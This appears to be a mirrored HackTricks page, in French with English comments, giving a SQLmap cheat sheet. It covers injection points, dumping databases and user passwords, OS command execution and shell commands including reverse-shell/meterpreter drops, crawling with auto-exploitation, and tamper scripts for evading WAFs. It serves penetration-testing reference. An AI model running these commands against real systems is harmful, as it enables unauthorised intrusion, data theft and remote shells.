mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			166 lines
		
	
	
		
			11 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			166 lines
		
	
	
		
			11 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| {{#include ../../banners/hacktricks-training.md}}
 | |
| 
 | |
| # Arguments de base pour SQLmap
 | |
| 
 | |
| ## Générique
 | |
| ```bash
 | |
| -u "<URL>"
 | |
| -p "<PARAM TO TEST>"
 | |
| --user-agent=SQLMAP
 | |
| --random-agent
 | |
| --threads=10
 | |
| --risk=3 #MAX
 | |
| --level=5 #MAX
 | |
| --dbms="<KNOWN DB TECH>"
 | |
| --os="<OS>"
 | |
| --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
 | |
| --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
 | |
| --auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
 | |
| --auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
 | |
| --proxy=PROXY
 | |
| ```
 | |
| ## Récupérer des informations
 | |
| 
 | |
| ### Interne
 | |
| ```bash
 | |
| --current-user #Get current user
 | |
| --is-dba #Check if current user is Admin
 | |
| --hostname #Get hostname
 | |
| --users #Get usernames od DB
 | |
| --passwords #Get passwords of users in DB
 | |
| ```
 | |
| ### Données de la base de données
 | |
| ```bash
 | |
| --all #Retrieve everything
 | |
| --dump #Dump DBMS database table entries
 | |
| --dbs #Names of the available databases
 | |
| --tables #Tables of a database ( -D <DB NAME> )
 | |
| --columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
 | |
| -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
 | |
| ```
 | |
| # Injection place
 | |
| 
 | |
| ## From Burp/ZAP capture
 | |
| 
 | |
| Capturez la requête et créez un fichier req.txt
 | |
| ```bash
 | |
| sqlmap -r req.txt --current-user
 | |
| ```
 | |
| ## Injection de requête GET
 | |
| ```bash
 | |
| sqlmap -u "http://example.com/?id=1" -p id
 | |
| sqlmap -u "http://example.com/?id=*" -p id
 | |
| ```
 | |
| ## Injection de requête POST
 | |
| ```bash
 | |
| sqlmap -u "http://example.com" --data "username=*&password=*"
 | |
| ```
 | |
| ## Injections dans les en-têtes et autres méthodes HTTP
 | |
| ```bash
 | |
| #Inside cookie
 | |
| sqlmap  -u "http://example.com" --cookie "mycookies=*"
 | |
| 
 | |
| #Inside some header
 | |
| sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
 | |
| sqlmap -u "http://example.com" --headers="referer:*"
 | |
| 
 | |
| #PUT Method
 | |
| sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 | |
| 
 | |
| #The injection is located at the '*'
 | |
| ```
 | |
| ## Injection de deuxième ordre
 | |
| ```bash
 | |
| python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
 | |
| sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
 | |
| ```
 | |
| ## Shell
 | |
| ```bash
 | |
| #Exec command
 | |
| python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
 | |
| 
 | |
| #Simple Shell
 | |
| python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
 | |
| 
 | |
| #Dropping a reverse-shell / meterpreter
 | |
| python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
 | |
| ```
 | |
| ## Explorer un site web avec SQLmap et auto-exploitation
 | |
| ```bash
 | |
| sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
 | |
| 
 | |
| --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
 | |
| --crawl = how deep you want to crawl a site
 | |
| --forms = Parse and test forms
 | |
| ```
 | |
| # Personnalisation de l'injection
 | |
| 
 | |
| ## Définir un suffixe
 | |
| ```bash
 | |
| python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
 | |
| ```
 | |
| ## Préfixe
 | |
| ```bash
 | |
| python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
 | |
| ```
 | |
| ## Aide pour trouver l'injection booléenne
 | |
| ```bash
 | |
| # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
 | |
| sqlmap -r r.txt -p id --not-string ridiculous --batch
 | |
| ```
 | |
| ## Tamper
 | |
| ```bash
 | |
| --tamper=name_of_the_tamper
 | |
| #In kali you can see all the tampers in /usr/share/sqlmap/tamper
 | |
| ```
 | |
| | Tamper                       | Description                                                                                                                        |
 | |
| | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
 | |
| | apostrophemask.py            | Remplace le caractère apostrophe par son équivalent en largeur complète UTF-8                                                       |
 | |
| | apostrophenullencode.py      | Remplace le caractère apostrophe par son équivalent unicode double illégal                                                           |
 | |
| | appendnullbyte.py            | Ajoute un caractère NULL encodé à la fin de la charge utile                                                                         |
 | |
| | base64encode.py              | Encode en Base64 tous les caractères d'une charge utile donnée                                                                       |
 | |
| | between.py                   | Remplace l'opérateur supérieur à \('>'\) par 'NOT BETWEEN 0 AND \#'                                                             |
 | |
| | bluecoat.py                  | Remplace le caractère espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
 | |
| | chardoubleencode.py          | Double url-encode tous les caractères d'une charge utile donnée \(ne traitant pas ceux déjà encodés\)                               |
 | |
| | commalesslimit.py            | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M'                                                                    |
 | |
| | commalessmid.py              | Remplace des instances comme 'MID\(A, B, C\)' par 'MID\(A FROM B FOR C\)'                                                          |
 | |
| | concat2concatws.py           | Remplace des instances comme 'CONCAT\(A, B\)' par 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                      |
 | |
| | charencode.py                | Url-encode tous les caractères d'une charge utile donnée \(ne traitant pas ceux déjà encodés\)                                      |
 | |
| | charunicodeencode.py         | Unicode-url-encode les caractères non encodés d'une charge utile donnée \(ne traitant pas ceux déjà encodés\). "%u0022"              |
 | |
| | charunicodeescape.py         | Unicode-url-encode les caractères non encodés d'une charge utile donnée \(ne traitant pas ceux déjà encodés\). "\u0022"              |
 | |
| | equaltolike.py               | Remplace toutes les occurrences de l'opérateur égal \('='\) par l'opérateur 'LIKE'                                                 |
 | |
| | escapequotes.py              | Échappe les guillemets \(' et "\)                                                                                                   |
 | |
| | greatest.py                  | Remplace l'opérateur supérieur à \('>'\) par son équivalent 'GREATEST'                                                          |
 | |
| | halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé                                                                           |
 | |
| | ifnull2ifisnull.py           | Remplace des instances comme 'IFNULL\(A, B\)' par 'IF\(ISNULL\(A\), B, A\)'                                                        |
 | |
| | modsecurityversioned.py      | Enveloppe la requête complète avec un commentaire versionné                                                                          |
 | |
| | modsecurityzeroversioned.py  | Enveloppe la requête complète avec un commentaire à zéro versionné                                                                   |
 | |
| | multiplespaces.py            | Ajoute plusieurs espaces autour des mots-clés SQL                                                                                   |
 | |
| | nonrecursivereplacement.py   | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement \(e.g. .replace\("SELECT", ""\)\) filtres     |
 | |
| | percentage.py                | Ajoute un signe de pourcentage \('%'\) devant chaque caractère                                                                      |
 | |
| | overlongutf8.py              | Convertit tous les caractères d'une charge utile donnée \(ne traitant pas ceux déjà encodés\)                                       |
 | |
| | randomcase.py                | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire                                                              |
 | |
| | randomcomments.py            | Ajoute des commentaires aléatoires aux mots-clés SQL                                                                                |
 | |
| | securesphere.py              | Ajoute une chaîne spécialement conçue                                                                                               |
 | |
| | sp_password.py               | Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS                                 |
 | |
| | space2comment.py             | Remplace le caractère espace \(' '\) par des commentaires                                                                            |
 | |
| | space2dash.py                | Remplace le caractère espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\) |
 | |
| | space2hash.py                | Remplace le caractère espace \(' '\) par un caractère livre \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\)    |
 | |
| | space2morehash.py            | Remplace le caractère espace \(' '\) par un caractère livre \('\#'\) suivi d'une chaîne aléatoire et d'une nouvelle ligne \('\n'\)    |
 | |
| | space2mssqlblank.py          | Remplace le caractère espace \(' '\) par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs                  |
 | |
| | space2mssqlhash.py           | Remplace le caractère espace \(' '\) par un caractère livre \('\#'\) suivi d'une nouvelle ligne \('\n'\)                             |
 | |
| | space2mysqlblank.py          | Remplace le caractère espace \(' '\) par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs                  |
 | |
| | space2mysqldash.py           | Remplace le caractère espace \(' '\) par un commentaire de tiret \('--'\) suivi d'une nouvelle ligne \('\n'\)                       |
 | |
| | space2plus.py                | Remplace le caractère espace \(' '\) par un plus \('+'\)                                                                            |
 | |
| | space2randomblank.py         | Remplace le caractère espace \(' '\) par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs                  |
 | |
| | symboliclogical.py           | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques \(&& et                                                |
 | |
| | unionalltounion.py           | Remplace UNION ALL SELECT par UNION SELECT                                                                                          |
 | |
| | unmagicquotes.py             | Remplace le caractère de citation \('\) par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin \(pour que cela fonctionne\) |
 | |
| | uppercase.py                 | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT'                                                          |
 | |
| | varnish.py                   | Ajoute un en-tête HTTP 'X-originating-IP'                                                                                            |
 | |
| | versionedkeywords.py         | Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné                                                             |
 | |
| | versionedmorekeywords.py     | Enveloppe chaque mot-clé par un commentaire MySQL versionné                                                                          |
 | |
| | xforwardedfor.py             | Ajoute un faux en-tête HTTP 'X-Forwarded-For'                                                                                      |
 | |
| 
 | |
| {{#include ../../banners/hacktricks-training.md}}
 |